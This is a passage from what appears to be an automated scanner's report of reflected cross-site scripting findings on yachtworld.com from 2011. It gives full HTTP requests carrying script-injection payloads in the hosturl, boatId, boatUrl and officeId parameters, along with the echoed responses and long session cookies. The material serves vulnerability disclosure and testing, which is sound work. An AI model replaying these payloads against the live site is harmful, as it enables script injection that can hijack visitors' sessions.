VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:41:57 GMT Server: Apache Cache-Control: private Content-Length: 2606 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload dd698<script>alert(1)</script>d17fc8182d2 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/video_gallery.jsp?boat_id=2265386&hosturl=clarkslandingdd698<script>alert(1)</script>d17fc8182d2&&ywo=clarkslanding&&ybw= HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 22:41:55 GMT Server: Apache Cache-Control: private Content-Length: 2588 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslandingdd698<script>alert(1)</script>d17fc8182d2/boats.header.html:/opt/weblogic ...[SNIP]... </script>d17fc8182d2/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslandingdd698<script>alert(1)</script>d17fc8182d2/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/clarkslandingdd698<script> ...[SNIP]...
The value of the boatId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b57d7'%3balert(1)//a62c995b2e8 was submitted in the boatId parameter. This input was echoed as b57d7';alert(1)//a62c995b2e8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/rendering/email-boat.htm?url=legendary&boatId=2266476b57d7'%3balert(1)//a62c995b2e8&units=Feet&officeId=75325&boatUrl=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:35:13 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "2266476b57d7';alert(1)//a62c995b2e8"<br> ...[SNIP]...
The value of the boatUrl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 131b6</script><script>alert(1)</script>095de22c92a was submitted in the boatUrl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/rendering/email-boat.htm?url=legendary&boatId=2266476&units=Feet&officeId=75325&boatUrl=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States131b6</script><script>alert(1)</script>095de22c92a HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:22 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the officeId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 403f4"><script>alert(1)</script>6fe988ae964 was submitted in the officeId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/rendering/email-boat.htm?url=legendary&boatId=2266476&units=Feet&officeId=75325403f4"><script>alert(1)</script>6fe988ae964&boatUrl=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:17 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the officeId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 46671"%3balert(1)//12af253f94 was submitted in the officeId parameter. This input was echoed as 46671";alert(1)//12af253f94 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/rendering/email-boat.htm?url=legendary&boatId=2266476&units=Feet&officeId=7532546671"%3balert(1)//12af253f94&boatUrl=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 